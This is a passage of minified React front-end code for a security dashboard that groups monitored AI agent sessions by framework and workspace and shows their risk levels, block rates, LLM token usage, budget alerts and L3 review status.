skeleton-card-value",style:{marginBottom:16}}),e.jsx("div",{className:"skeleton-card-stack",children:Array.from({length:s}).map((n,i)=>e.jsx("div",{className:"skeleton skeleton-text",style:{width:`${70+i%3*10}%`,marginBottom:8}},i))})]})}function Pa(s){return Object.entries(s).sort(([t,n],[i,r])=>Ee(r)-Ee(n)||r.calls-n.calls||t.localeCompare(i)).slice(0,3)}function za(s){return s?s.total_calls>0||s.total_input_tokens>0||s.total_output_tokens>0||Object.keys(s.by_provider).length>0||Object.keys(s.by_tier).length>0||Object.keys(s.by_status).length>0:!1}function ts(s,t,n,i){const r=Pa(t);return e.jsxs("article",{className:"framework-panel",children:[e.jsx("div",{className:"framework-panel-top",children:e.jsxs("div",{children:[e.jsx("h3",{children:s}),e.jsx("p",{children:r.length?`${r.length} ${n.highlighted}`:n.noEntries})]})}),e.jsx("div",{className:"framework-workspace-list",children:r.map(([a,o],d)=>e.jsxs("div",{className:"framework-workspace-row llm-bucket-row",children:[e.jsxs("div",{className:"llm-bucket-copy",children:[e.jsx("strong",{children:a}),e.jsxs("span",{children:[o.calls.toLocaleString()," ",n.calls," · ",We(o.input_tokens,o.output_tokens,i)," ·"," ",se(Ee(o),i)," ",i==="zh"?"总 token":"total tokens"]})]}),e.jsxs("span",{className:"mono llm-bucket-rank",children:["#",d+1]})]},a))})]})}function Oa({snapshot:s}){const{t,language:n}=W();if(!za(s))return e.jsxs("section",{className:"card section-card llm-usage-section","aria-label":t("llm.title"),children:[e.jsxs("div",{className:"section-card-header",children:[e.jsxs("div",{children:[e.jsx("p",{className:"section-kicker",children:t("llm.kicker")}),e.jsx("h2",{children:t("llm.title")})]}),e.jsx("span",{className:"section-meta",children:t("llm.snapshotUnavailable")})]}),e.jsx("div",{className:"empty-inline",children:t("llm.empty")})]});const i=s.total_input_tokens+s.total_output_tokens,r={highlighted:t("llm.highlighted"),noEntries:t("llm.noEntries"),calls:t("llm.calls"),input:t("llm.in"),output:t("llm.out")};return e.jsxs("section",{className:"card section-card llm-usage-section","aria-label":t("llm.title"),children:[e.jsxs("div",{className:"section-card-header",children:[e.jsxs("div",{children:[e.jsx("p",{className:"section-kicker",children:t("llm.kicker")}),e.jsx("h2",{children:t("llm.title")})]}),e.jsxs("span",{className:"section-meta",children:[s.total_calls.toLocaleString()," ",t("llm.calls")," · ",se(i,n)," ",t("llm.totalTokens")]})]}),e.jsxs("div",{className:"framework-panel-metrics llm-metric-grid",children:[e.jsxs("div",{children:[e.jsx("span",{children:t("llm.totalCalls")}),e.jsx("strong",{children:s.total_calls.toLocaleString()})]}),e.jsxs("div",{children:[e.jsx("span",{children:t("llm.totalTokens")}),e.jsx("strong",{children:i.toLocaleString()})]}),e.jsxs("div",{children:[e.jsx("span",{children:t("llm.tokenMix")}),e.jsx("strong",{children:We(s.total_input_tokens,s.total_output_tokens,n)})]})]}),e.jsxs("div",{className:"llm-bucket-grid",children:[ts(t("llm.topProviders"),s.by_provider,r,n),ts(t("llm.topTiers"),s.by_tier,r,n),ts(t("llm.topStatuses"),s.by_status,r,n)]})]})}const Fa=["critical","high","medium","low"];function I(s){const t=String(s||"low").toLowerCase();return Fa.indexOf(t)}function bs(s){return s||"unknown"}function Da(s,t="en"){if(!s)return t==="zh"?"未绑定工作区":"Unbound workspace";const i=s.replace(/\/+$/,"").split("/").filter(Boolean);return i[i.length-1]||s}function Ma(s){const t=String(s.workspace_root||"").trim();if(t)return t;const n=bs(s.source_framework),i=String(s.caller_adapter||"adapter-unknown").trim()||"adapter-unknown";return`unbound:${n}:${i}`}function Ie(s,t="en"){if(s.workspace_root)return Da(s.workspace_root,t);const n=t==="zh"?"未绑定工作区":"Unbound workspace",i=bs(s.source_framework),r=String(s.caller_adapter||"").trim(),a=[i,r].filter(Boolean).join(" · ");return a?`${n} · ${a}`:n}function ys(s,t="en"){return s||(t==="zh"?"workspace_root 未上报":"workspace_root unavailable")}function Q(s){if(!s)return"No activity";const t=Date.now()-new Date(s).getTime();if(!Number.isFinite(t)||t<0)return"Just now";const n=Math.floor(t/1e3);if(n<60)return`${n}s ago`;const i=Math.floor(n/60);if(i<60)return`${i}m ago`;const r=Math.floor(i/60);return r<24?`${r}h ago`:`${Math.floor(r/24)}d ago`}function Ne(s){if(!s)return"idle";const t=(Date.now()-new Date(s).getTime())/6e4;return t<=2?"hot":t<=15?"warm":"idle"}function Bt(s,t="en"){const n=new Map;for(const r of s){const a=bs(r.source_framework);r.workspace_root,n.has(a)||n.set(a,new Map);const o=n.get(a),d=Ma(r),c=o.get(d)||[];c.push(r),o.set(d,c)}return Array.from(n.entries()).map(([r,a])=>{var v;const o=Array.from(a.entries()).map(([m,j])=>{var y;const f=[...j].sort((k,S)=>{const O=I(k.current_risk_level)-I(S.current_risk_level);return O!==0?O:new Date(S.last_event_at).getTime()-new Date(k.last_event_at).getTime()}),b=((y=f[0])==null?void 0:y.current_risk_level)||"low",g=f.map(k=>k.last_event_at).sort((k,S)=>new Date(S).getTime()-new Date(k).getTime())[0]||"",h=Array.from(new Set(f.map(k=>k.caller_adapter).filter(Boolean))),w=f[0];return{key:m,workspaceRoot:w.workspace_root||"",workspaceLabel:Ie(w,t),framework:r,callerAdapters:h,sessionCount:f.length,highRiskSessionCount:f.filter(k=>I(k.current_risk_level)<=1).length,criticalSessionCount:f.filter(k=>k.current_risk_level==="critical").length,totalEvents:f.reduce((k,S)=>k+S.event_count,0),latestActivityAt:g,highestRisk:b,sessions:f}}).sort((m,j)=>{const f=I(m.highestRisk)-I(j.highestRisk);return f!==0?f:new Date(j.latestActivityAt).getTime()-new Date(m.latestActivityAt).getTime()}),d=o.flatMap(m=>m.sessions),c=d.map(m=>m.last_event_at).sort((m,j)=>new Date(j).getTime()-new Date(m).getTime())[0]||"",u=((v=o[0])==null?void 0:v.highestRisk)||"low";return{framework:r,sessionCount:d.length,workspaceCount:o.length,highRiskSessionCount:d.filter(m=>I(m.current_risk_level)<=1).length,totalEvents:d.reduce((m,j)=>m+j.event_count,0),latestActivityAt:c,highestRisk:u,workspaces:o}}).sort((r,a)=>{const o=I(r.highestRisk)-I(a.highestRisk);return o!==0?o:new Date(a.latestActivityAt).getTime()-new Date(r.latestActivityAt).getTime()})}function hs(s,t="en"){const n=[],i=String(s.l3_reason_code||"").trim();i&&n.push(`L3 reason code: ${ve("l3ReasonCode",i,t)}`);const r=String(s.l3_state||"").trim();r&&r!=="completed"&&n.push(`L3 state: ${ve("l3State",r,t)}`);const a=String(s.l3_reason||"").trim();a&&r&&r!=="completed"&&n.push(`L3 reason: ${a}`);const o=js(s.evidence_summary);return o&&n.push(`Evidence: ${o}`),n.length>0?n.join(" · "):null}function st(s){return s<3600?`${Math.floor(s/60)}m`:s<86400?`${Math.floor(s/3600)}h`:`${Math.floor(s/86400)}d`}function us(s){return typeof s=="number"&&Number.isFinite(s)?s.toFixed(2):"—"}function Ia(s){return typeof s!="number"||!Number.isFinite(s)?"—":`${s>=0?"+":""}${s.toFixed(2)}`}function Ua(s){return typeof s=="number"?Ia(s):s==="up"?"up":s==="down"?"down":s==="flat"?"flat":"—"}function Ba(s){if(!s)return null;if(typeof s.risk_density=="number"&&Number.isFinite(s.risk_density))return s.risk_density;const t=s.event_count??0,n=s.high_or_critical_count??s.high_risk_event_count??0;return t>0?n/t:null}function tt(s){return s?typeof s.posture_score=="number"?s.posture_score:typeof s.score_0_100=="number"?s.score_0_100:null:null}function qa(s,t){return s?[`${s.enforced_sessions??0} enforced`,`${s.released_sessions??0} released`,`${s.l3_required_sessions??0} L3 required`].join(" · "):t("common.unavailable")}function Wa(s,t,n){const i=(s==null?void 0:s.risk_velocity)??(t==null?void 0:t.risk_velocity),r=Ba(t);return`${n("dashboard.posture.velocity")} ${Ua(i)} · ${n("dashboard.posture.density")} ${us(r)}`}function $e({framework:s,count:t}){return e.jsxs("span",{className:"framework-chip",children:[e.jsx("span",{children:s}),e.jsx("strong",{children:t})]})}function ns({icon:s,label:t,value:n,body:i,to:r,tone:a="blue"}){const o=e.jsxs(e.Fragment,{children:[e.jsx("span",{className:`command-brief-icon command-brief-icon-${a}`,children:e.jsx(s,{size:16,"aria-hidden":"true"})}),e.jsx("span",{className:"hero-brief-label",children:t}),e.jsx("strong",{children:n}),e.jsx("p",{children:i})]});return r?e.jsx(F,{className:`hero-brief-card hero-brief-link command-brief-card command-brief-card-${a}`,to:r,children:o}):e.jsx("article",{className:`hero-brief-card command-brief-card command-brief-card-${a}`,children:o})}function nt(s){var t;return((t=s.evidence_summary)==null?void 0:t.toolkit_budget_exhausted)===!0}function K(s){const t=new URLSearchParams;return Object.entries(s).forEach(([n,i])=>{i!==void 0&&i!==!1&&i!==""&&t.set(n,String(i))}),`/sessions?${t.toString()}`}function Ha(){var L;const{language:s,t}=W(),[n,i]=l.useState(null),[r,a]=l.useState(null),[o,d]=l.useState([]),[c,u]=l.useState(!1),[v,m]=l.useState(!0),j=r==null?void 0:r.budget_exhaustion_event,f=(n==null?void 0:n.llm_usage_snapshot)??(r==null?void 0:r.llm_usage_snapshot)??null,b=(n==null?void 0:n.system_security_posture)??null,g=(b==null?void 0:b.window_risk_summary)??null;l.useEffect(()=>{const p=()=>Promise.all([q.summary(),q.health(),q.sessions({sort:"risk_level",limit:120})]).then(([T,V,Z])=>{i(T),a(V),d(Z),u(!1)}).catch(()=>{}).finally(()=>m(!1));p();const N=setInterval(p,1e4);return()=>clearInterval(N)},[]);const h=Bt(o,s),w=h.reduce((p,N)=>p+N.workspaceCount,0),y=o.filter(p=>p.current_risk_level==="critical").length,k=o.filter(p=>I(p.current_risk_level)<=1).length,S=n?((n.by_decision.block||0)/Math.max(n.total_records,1)*100).toFixed(1):"—",O=[...o].sort((p,N)=>{const T=I(p.current_risk_level)-I(N.current_risk_level);return T!==0?T:new Date(N.last_event_at).getTime()-new Date(p.last_event_at).getTime()}).slice(0,6),U=o.filter(nt).sort((p,N)=>{const T=I(p.current_risk_level)-I(N.current_risk_level);return T!==0?T:new Date(N.last_event_at).getTime()-new Date(p.last_event_at).getTime()}).slice(0,5),$=o.filter(nt).length,B=O[0],X=[{label:t("dashboard.read.step1"),title:y>0?t("dashboard.step.criticalTitle"):t("dashboard.step.confirmTitle"),body:y>0?`${y} ${t("dashboard.step.criticalBody")}`:t("dashboard.step.confirmBody"),href:K({minRisk:y>0?"critical":"high",action:"high-risk"})},{label:t("dashboard.read.step2"),title:$>0?t("dashboard.step.evidenceTitle"):t("dashboard.step.l3Title"),body:$>0?`${$} ${t("dashboard.step.evidenceBody")}`:t("dashboard.step.l3Body"),href:$>0?K({action:"budget",budget:"exhausted"}):B?`/sessions/${B.session_id}`:"/sessions"},{label:t("dashboard.read.step3"),title:t("dashboard.step.liveTitle"),body:t("dashboard.step.liveBody"),href:"/defer"}],R=h.flatMap(p=>p.workspaces.map(N=>({...N,framework:p.framework}))).sort((p,N)=>{const T=I(p.highestRisk)-I(N.highestRisk);return T!==0?T:new Date(N.latestActivityAt).getTime()-new Date(p.latestActivityAt).getTime()}).slice(0,6),_=R.filter(p=>I(p.highestRisk)<=1).length;return v?e.jsxs("div",{className:"dashboard-shell",children:[e.jsxs("section",{className:"dashboard-region","aria-label":"Global posture",children:[e.jsxs("section",{className:"hero-banner","aria-hidden":"true",children:[e.jsx("div",{children:e.jsx(J,{rows:4,height:220})}),e.jsx("div",{className:"hero-panel",children:e.jsx(J,{rows:5,height:220})})]}),e.jsx("div",{className:"metric-grid dashboard-metric-grid",children:[0,1,2,3].map(p=>e.jsx(J,{rows:2,height:104},p))})]}),e.jsx("section",{className:"dashboard-region","aria-label":"Operational scan",children:e.jsxs("div",{className:"dashboard-grid dashboard-grid-primary",children:[e.jsx(J,{rows:8,height:430}),e.jsx(J,{rows:8,height:430})]})}),e.jsx("section",{className:"dashboard-region","aria-label":"Deep inspection",children:e.jsxs("div",{className:"dashboard-grid dashboard-grid-secondary",children:[e.jsx(J,{rows:8,height:360}),e.jsx(J,{rows:8,height:360}),e.jsx(J,{rows:8,height:360})]})})]}):e.jsxs("div",{className:"dashboard-shell",children:[e.jsxs("section",{className:"dashboard-region","aria-label":"Global posture",children:[e.jsxs("section",{className:"hero-banner command-center-hero command-deck-hero",children:[e.jsxs("div",{className:"command-center-copy",children:[e.jsxs("div",{className:"hero-command-topline",children:[e.jsx("p",{className:"eyebrow",children:t("dashboard.hero.kicker")}),c&&e.jsx("span",{className:"showcase-pill",children:"Showcase mode · demo telemetry"})]}),e.jsx("h1",{children:t("dashboard.hero.title")}),e.jsx("p",{className:"hero-copy",children:t("dashboard.hero.copy")}),e.jsxs("div",{className:"command-map","aria-hidden":"true",children:[e.jsxs("div",{className:"command-map-core",children:[e.jsx("span",{children:"TOTAL TRAJECTORIES"}),e.jsx("strong",{children:(r==null?void 0:r.trajectory_count)??0})]}),e.jsx("span",{className:"command-map-node command-map-node-risk",children:"risk"}),e.jsx("span",{className:"command-map-node command-map-node-l3",children:"L3 review"}),e.jsx("span",{className:"command-map-node command-map-node-budget",children:"token"}),e.jsx("span",{className:"command-map-node command-map-node-evidence",children:"evidence"}),e.jsx("span",{className:"command-map-trace command-map-trace-a"}),e.jsx("span",{className:"command-map-trace command-map-trace-b"})]}),e.jsxs("div",{className:"hero-chip-row",children:[Object.entries((n==null?void 0:n.by_source_framework)||{}).map(([p,N])=>e.jsx($e,{framework:p,count:N},p)),Object.keys((n==null?void 0:n.by_source_framework)||{}).length===0&&e.jsxs(e.Fragment,{children:[e.jsx($e,{framework:"codex",count:0}),e.jsx($e,{framework:"openclaw",count:0}),e.jsx($e,{framework:"a3s-code",count:0})]})]}),e.jsxs("div",{className:"hero-brief-grid","aria-label":"Operator brief",children:[e.jsx(ns,{icon:mt,label:t("dashboard.brief.coverage"),value:`${o.length.toLocaleString()} ${t("dashboard.brief.sessions")}`,body:`${w} ${t("dashboard.brief.workspaces")} · ${h.length} ${t("dashboard.brief.frameworks")}.`,tone:"blue"}),e.jsx(ns,{icon:Os,label:t("dashboard.brief.posture"),value:`${k.toLocaleString()} ${t("dashboard.brief.highRisk")}`,body:`${y} ${t("dashboard.brief.critical")} · ${_} ${t("dashboard.brief.workspaces")}.`,to:K({minRisk:"high",action:"high-risk"}),tone:y>0?"red":"cyan"}),b&&e.jsx(ns,{icon:he,label:t("dashboard.posture.title"),value:`${t("dashboard.posture.score")} ${us(tt(b))}`,body:`${t("dashboard.posture.control")}: ${qa(b.control_health,t)}`,tone:b.risk_level==="critical"||b.risk_level==="high"?"red":"cyan"})]})]}),e.jsxs("div",{className:"hero-panel command-status-panel",children:[e.jsxs("div",{className:"hero-panel-header",children:[e.jsx(Fs,{size:14}),t("dashboard.panel.current")]}),e.jsxs("div",{className:"hero-panel-body",children:[e.jsxs("div",{children:[e.jsxs("span",{className:"hero-panel-label",children:[e.jsx(Se,{size:13,"aria-hidden":"true"})," ",t("dashboard.panel.critical")]}),e.jsx("strong",{children:y}),e.jsx(F,{className:"hero-panel-link",to:K({minRisk:"critical",action:"high-risk"}),children:t("dashboard.panel.inspect")})]}),e.jsxs("div",{children:[e.jsxs("span",{className:"hero-panel-label",children:[e.jsx(Os,{size:13,"aria-hidden":"true"})," ",t("dashboard.panel.highRiskWorkspaces")]}),e.jsx("strong",{children:_}),e.jsx(F,{className:"hero-panel-link",to:K({minRisk:"high",action:"high-risk"}),children:t("dashboard.panel.filterInventory")})]}),e.jsxs("div",{children:[e.jsxs("span",{className:"hero-panel-label",children:[e.jsx(xn,{size:13,"aria-hidden":"true"})," ",t("dashboard.panel.gatewayUptime")]}),e.jsx("strong",{children:r?st(r.uptime_seconds):"—"})]}),e.jsxs("div",{children:[e.jsxs("span",{className:"hero-panel-label",children:[e.jsx(gn,{size:13,"aria-hidden":"true"})," ",t("dashboard.panel.llmUsage")]}),e.jsx("strong",{children:f?`${f.total_calls.toLocaleString()} ${t("llm.calls")}`:"—"}),e.jsx("div",{className:"mono hero-panel-detail",children:f?zt(f,s):t("dashboard.tokenUsageUnavailable")})]}),b&&e.jsxs("div",{children:[e.jsxs("span",{className:"hero-panel-label",children:[e.jsx(he,{size:13,"aria-hidden":"true"})," ",t("dashboard.posture.title")]}),e.jsx("strong",{children:us(b.latest_composite_score??tt(b))}),e.jsx("div",{className:"mono hero-panel-detail",children:Wa(b,g,t)})]}),e.jsxs("div",{className:"hero-panel-wide",children:[e.jsxs("span",{className:"hero-panel-label",children:[e.jsx(jn,{size:13,"aria-hidden":"true"})," ",t("dashboard.panel.dailyBudget")]}),e.jsx("strong",{children:r?r.budget.enabled?`${(r.budget.limit_tokens??0).toLocaleString()} tokens`:s==="zh"?"不限":"Unlimited":"—"}),e.jsx("div",{className:"mono hero-panel-detail",children:r?He(r.budget,s):t("dashboard.tokenUsageUnavailable")}),r&&(r.budget.exhausted||j)&&e.jsx("div",{className:"mono hero-panel-budget-warning",children:j?e.jsxs(e.Fragment,{children:[e.jsx("strong",{className:"hero-panel-warning-title",children:t("dashboard.panel.budgetAlert")}),e.jsxs("span",{children:[" · ",t("dashboard.operatorAttention")]}),e.jsxs("div",{className:"hero-panel-warning-detail",children:[j.provider," · ",j.tier]}),e.jsx(F,{className:"hero-panel-link",to:K({action:"budget",budget:"exhausted"}),children:t("dashboard.openEvidenceQueue")})]}):e.jsxs(e.Fragment,{children:[e.jsx("strong",{className:"hero-panel-warning-title",children:t("dashboard.panel.budgetAlert")}),e.jsxs("span",{children:[" · ",t("dashboard.operatorAttention")]}),e.jsx("div",{children:e.jsx(F,{className:"hero-panel-link",to:K({action:"budget",budget:"exhausted"}),children:t("dashboard.openEvidenceQueue")})})]})})]})]})]})]}),e.jsxs("section",{className:"operator-priority-guide","aria-labelledby":"operator-priority-guide-heading",children:[e.jsxs("div",{className:"operator-priority-copy",children:[e.jsx("p",{className:"section-kicker",children:t("dashboard.read.kicker")}),e.jsx("h2",{id:"operator-priority-guide-heading",children:t("dashboard.read.title")}),e.jsx("p",{children:t("dashboard.read.copy")})]}),e.jsx("div",{className:"operator-priority-steps",children:X.map(p=>e.jsxs(F,{to:p.href,className:"operator-priority-step",children:[e.jsx("span",{children:p.label}),e.jsx("strong",{children:p.title}),e.jsx("p",{children:p.body})]},p.label))})]}),e.jsxs("div",{className:"metric-grid dashboard-metric-grid",children:[e.jsx(ye,{label:t("dashboard.metric.tracked"),value:o.length.toLocaleString(),accent:"purple",icon:e.jsx(_n,{size:20}),subtext:`${w} ${t("dashboard.brief.workspaces")} · ${h.length} ${t("dashboard.brief.frameworks")}`}),e.jsx(ye,{label:t("dashboard.metric.highRisk"),value:k.toLocaleString(),accent:"red",icon:e.jsx(Se,{size:20}),subtext:`${y} ${t("dashboard.brief.critical")}`}),e.jsx(ye,{label:t("dashboard.metric.evidenceBudget"),value:$.toLocaleString(),accent:"amber",icon:e.jsx(Fs,{size:20}),subtext:t("dashboard.evidenceHotspotMetric")}),e.jsx(ye,{label:t("dashboard.metric.blockRate"),value:`${S}%`,accent:"amber",icon:e.jsx(he,{size:20}),subtext:`${((L=n==null?void 0:n.by_decision)==null?void 0:L.block)??0} blocks`}),e.jsx(ye,{label:t("dashboard.metric.liveEvents"),value:((r==null?void 0:r.trajectory_count)??0).toLocaleString(),accent:"blue",icon:e.jsx(Pe,{size:20}),subtext:r?`${st(r.uptime_seconds)} uptime`:void 0})]}),e.jsx(Oa,{snapshot:f})]}),e.jsx("section",{className:"dashboard-region dashboard-region-operational","aria-label":"Operational scan",children:e.jsxs("div",{className:"dashboard-grid dashboard-grid-primary",children:[e.jsxs("section",{className:"card section-card",children:[e.jsxs("div",{className:"section-card-header",children:[e.jsxs("div",{children:[e.jsx("p",{className:"section-kicker",children:t("dashboard.brief.coverage")}),e.jsx("h2",{children:t("dashboard.frameworkCoverage")})]}),e.jsx(F,{to:"/sessions",className:"section-link",children:t("dashboard.openSessionInventory")})]}),e.jsxs("div",{className:"framework-coverage-grid",children:[h.map(p=>e.jsxs("article",{className:"framework-panel",children:[e.jsxs("div",{className:"framework-panel-top",children:[e.jsxs("div",{children:[e.jsx("h3",{children:p.framework}),e.jsxs("p",{children:[p.workspaceCount," ",t("common.workspaces")]})]}),e.jsx(D,{level:p.highestRisk})]}),e.jsxs("div",{className:"framework-panel-metrics",children:[e.jsxs("div",{children:[e.jsx("span",{children:t("sessions.sessionCount")}),e.jsx("strong",{children:p.sessionCount})]}),e.jsxs("div",{children:[e.jsx("span",{children:t("sessions.highRiskCount")}),e.jsx("strong",{children:p.highRiskSessionCount})]}),e.jsxs("div",{children:[e.jsx("span",{children:t("sessions.eventCount")}),e.jsx("strong",{children:p.totalEvents})]})]}),e.jsx("div",{className:"framework-workspace-list",children:p.workspaces.slice(0,3).map(N=>e.jsxs(F,{className:"framework-workspace-row",to:K({framework:p.framework,q:N.workspaceLabel}),children:[e.jsxs("div",{children:[e.jsx("strong",{children:N.workspaceLabel}),e.jsx("span",{children:Q(N.latestActivityAt)})]}),e.jsx(D,{level:N.highestRisk})]},N.key))})]},p.framework)),h.length===0&&e.jsx("div",{className:"empty-inline",children:t("dashboard.noFrameworkActivity")})]})]}),e.jsx(Aa,{})]})}),e.jsx("section",{className:"dashboard-region dashboard-region-inspection","aria-label":"Deep inspection",children:e.jsxs("div",{className:"dashboard-grid dashboard-grid-secondary",children:[e.jsxs("section",{className:"card section-card",children:[e.jsxs("div",{className:"section-card-header",children:[e.jsxs("div",{children:[e.jsx("p",{className:"section-kicker",children:t("common.workspaces")}),e.jsx("h2",{children:t("dashboard.workspaceRiskBoard")})]}),e.jsx("span",{className:"section-meta",children:R.length})]}),e.jsxs("div",{className:"workspace-board",children:[R.map(p=>e.jsxs("article",{className:"workspace-card",children:[e.jsxs("div",{className:"workspace-card-top",children:[e.jsxs("div",{children:[e.jsx("p",{className:"workspace-framework",children:p.framework}),e.jsx("h3",{children:p.workspaceLabel})]}),e.jsx(D,{level:p.highestRisk})]}),e.jsx("p",{className:"workspace-root mono",children:ys(p.workspaceRoot,s)}),e.jsxs("div",{className:"workspace-stats",children:[e.jsxs("span",{children:[p.sessionCount," ",t("common.sessions")]}),e.jsxs("span",{children:[p.highRiskSessionCount," ",t("common.highRisk")]}),e.jsxs("span",{children:[p.totalEvents," ",t("common.events")]})]}),e.jsxs("div",{className:"workspace-footer",children:[e.jsx("span",{className:`activity-pill activity-pill-${Ne(p.latestActivityAt)}`,children:Q(p.latestActivityAt)}),e.jsx("span",{className:"mono",children:p.callerAdapters.join(", ")||t("sessions.adapterUnavailable")})]})]},p.key)),R.length===0&&e.jsx("div",{className:"empty-inline",children:t("dashboard.noWorkspaceTelemetry")})]})]}),e.jsxs("section",{className:"card section-card",children:[e.jsxs("div",{className:"section-card-header",children:[e.jsxs("div",{children:[e.jsx("p",{className:"section-kicker",children:"L3 / risk"}),e.jsx("h2",{children:t("dashboard.prioritySessions")})]}),e.jsx(F,{to:K({minRisk:"high",action:"high-risk"}),className:"section-link",children:t("dashboard.reviewHighRiskQueue")})]}),e.jsxs("div",{className:"priority-session-list",children:[O.map(p=>{const N=hs(p,s);return e.jsxs(F,{to:`/sessions/${p.session_id}`,className:"priority-session-row",children:[e.jsxs("div",{children:[e.jsxs("div",{className:"priority-session-top",children:[e.jsx("strong",{children:Ie(p,s)}),e.jsx(D,{level:p.current_risk_level})]}),e.jsxs("p",{className:"priority-session-meta",children:[p.source_framework," · ",p.event_count," ",t("common.events")," · ",p.high_risk_event_count," ",t("common.highRisk")]}),N&&e.jsx("p",{className:"priority-session-meta priority-session-annotation mono",children:N}),e.jsx("p",{className:"priority-session-id mono",children:p.session_id})]}),e.jsx("div",{className:"priority-session-side",children:e.jsx("span",{className:`activity-pill activity-pill-${Ne(p.last_event_at)}`,children:Q(p.last_event_at)})})]},p.session_id)}),O.length===0&&e.jsx("div",{className:"empty-inline",children:t("dashboard.noPrioritySessions")})]})]}),e.jsxs("section",{className:"card section-card",children:[e.jsxs("div",{className:"section-card-header",children:[e.jsxs("div",{children:[e.jsx("p",{className:"section-kicker",children:"Evidence"}),e.jsx("h2",{children:t("dashboard.evidenceHotspots")})]}),e.jsx(F,{to:K({action:"budget",budget:"exhausted"}),className:"section-link",children:t("dashboard.openEvidenceQueue")})]}),e.jsxs("div",{className:"priority-session-list",children:[U.map(p=>{const N=hs(p,s);return e.jsxs(F,{to:`/sessions/${p.session_id}`,className:"priority-session-row",children:[e.jsxs("div",{children:[e.jsxs("div",{className:"priority-session-top",children:[e.jsx("strong",{children:Ie(p,s)}),e.jsx(D,{level:p.current_risk_level})]}),e.jsxs("p",{className:"priority-session-meta",children:[t("dashboard.toolkitExhausted")," · ",p.source_framework," · ",p.event_count," ",t("common.events")]}),N&&e.jsx("p",{className:"priority-session-meta priority-session-annotation mono",children:N}),e.jsx("p",{className:"priority-session-id mono",children:p.session_id})]}),e.jsx("div",{className:"priority-session-side",children:e.jsx("span",{className:`activity-pill activity-pill-${Ne(p.last_event_at)}`,children:Q(p.last_event_at)})})]},p.session_id)}),U.length===0&&e.jsx("div",{className:"empty-inline",children:t("dashboard.noEvidenceHotspots")})]})]})]})})]})}function Va(s){return["allow","block","defer","modify"].includes(s)?s:"unknown"}function Ga(s){const t=Math.max(0,Math.min(s/3,1));return t>=.75?"critical":t>=.5?"high":t>=.25?"medium":"low"}function Ae(s){return typeof s=="number"&&Number.isFinite(s)?s.toFixed(2):"—"}function Qa(s){return typeof s!="number"||!Number.isFinite(s)?"—":`${s>=0?"+":""}${s.toFixed(2)}`}function Ka(s){return typeof s=="number"?Qa(s):s==="up"?"up":s==="down"?"down":s==="flat"?"flat":"—"}function Ja(s){if(!s)return null;if(typeof s.risk_density=="number"&&Number.isFinite(s.risk_density))return s.risk_density;const t=s.event_count??0,n=s.high_or_critical_count??s.high_risk_event_count??0;return t>0?n/t:null}function Ya({dist:s}){const t=Object.values(s).reduce((i,r)=>i+r,0);if(t===0)return e.jsx("span",{className:"text-muted mono",children:"—"});let n=0;return e.jsxs("svg",{className:"verdict-bar verdict-bar-wide",viewBox:"0 0 100 7",role:"img","aria-label":"Decision distribution",children:[e.jsx("title",{children:Object.entries(s).map(([i,r])=>`${i}: ${r}`).join(", ")}),Object.entries(s).map(([i,r])=>{if(r<=0)return null;const a=r/t*100,o=n;return n+=a,e.jsx("rect",{className:`verdict-bar-segment verdict-bar-segment-${Va(i)}`,x:o,y:0,width:a,height:7},i)})]})}function Xa({score:s}){const t=Ga(s),n=Math.max(0,Math.min(s/3,1))*100;return e.jsxs("div",{className:"score-bar-wrap",children:[e.jsxs("svg",{className:"score-bar score-bar-wide",viewBox:"0 0 100 6",role:"img","aria-label":`Risk score ${s.toFixed(2)} of 3.00`,children:[e.jsx("rect",{className:"score-bar-track",x:0,y:0,width:100,height:6,rx:3}),e.jsx("rect",{className:`score-bar-fill score-bar-fill-${t}`,x:0,y:0,width:n,height:6,rx:3})]}),e.jsx("span",{className:`mono score-value score-value-${t}`,children:s.toFixed(2)})]})}function Za(){const{t:s,language:t}=W(),[n,i]=Rt(),[r,a]=l.useState([]),[o,d]=l.useState(!0),[c,u]=l.useState(!1),[v,m]=l.useState(()=>n.get("minRisk")||n.get("min_risk")||""),[j,f]=l.useState(()=>n.get("framework")||""),[b,g]=l.useState(()=>n.get("q")||""),[h,w]=l.useState(()=>n.get("action")||""),[y,k]=l.useState(()=>n.get("budget")==="exhausted"||n.get("action")==="budget"),[S,O]=l.useState(0),U=l.useDeferredValue(b.trim().toLowerCase()),$=l.useRef(null);l.useEffect(()=>{const _=new URLSearchParams;v&&_.set("minRisk",v),j&&_.set("framework",j),b.trim()&&_.set("q",b.trim()),h&&_.set("action",h),y&&_.set("budget","exhausted"),i(_,{replace:!0})},[h,y,j,v,b,i]),l.useEffect(()=>{const _=async()=>{d(!0);try{const N=await q.sessions({sort:"risk_level",limit:200,min_risk:v||void 0});fa&&N.length===0||(a(N),u(!1))}catch{}d(!1)};_();const L=Ot(["decision","session_start","session_risk_change","session_enforcement_change"],{onEvent:()=>{$.current&&clearTimeout($.current),$.current=setTimeout(()=>{_()},500)},onStatusChange:()=>{}}),p=setInterval(_,3e4);return()=>{L(),clearInterval(p),$.current&&clearTimeout($.current)}},[v,S]);const B=Array.from(new Set(r.map(_=>_.source_framework))).sort(),X=r.filter(_=>{var p;return j&&_.source_framework!==j||y&&((p=_.evidence_summary)==null?void 0:p.toolkit_budget_exhausted)!==!0||h==="l3"&&!_.l3_state&&!_.l3_reason_code&&!_.l3_advisory_latest||h==="high-risk"&&_.high_risk_event_count===0&&_.current_risk_level!=="critical"||h==="defer"&&(_.decision_distribution.defer??0)===0?!1:U?[_.session_id,_.agent_id,_.source_framework,_.workspace_root,_.caller_adapter].join(" ").toLowerCase().includes(U):!0}),R=Bt(X,t);return e.jsxs("div",{className:"sessions-shell",children:[e.jsxs("section",{className:"card sessions-toolbar","aria-labelledby":"session-filters-heading",children:[e.jsxs("div",{children:[e.jsx("p",{className:"section-kicker",children:s("sessions.workbench")}),e.jsxs("h2",{id:"session-filters-heading",className:"section-header sessions-filter-heading",children:[e.jsx(is,{size:18,className:"section-header-icon"}),s("sessions.filters")]}),c&&e.jsx("span",{className:"showcase-pill",children:"Showcase mode · demo 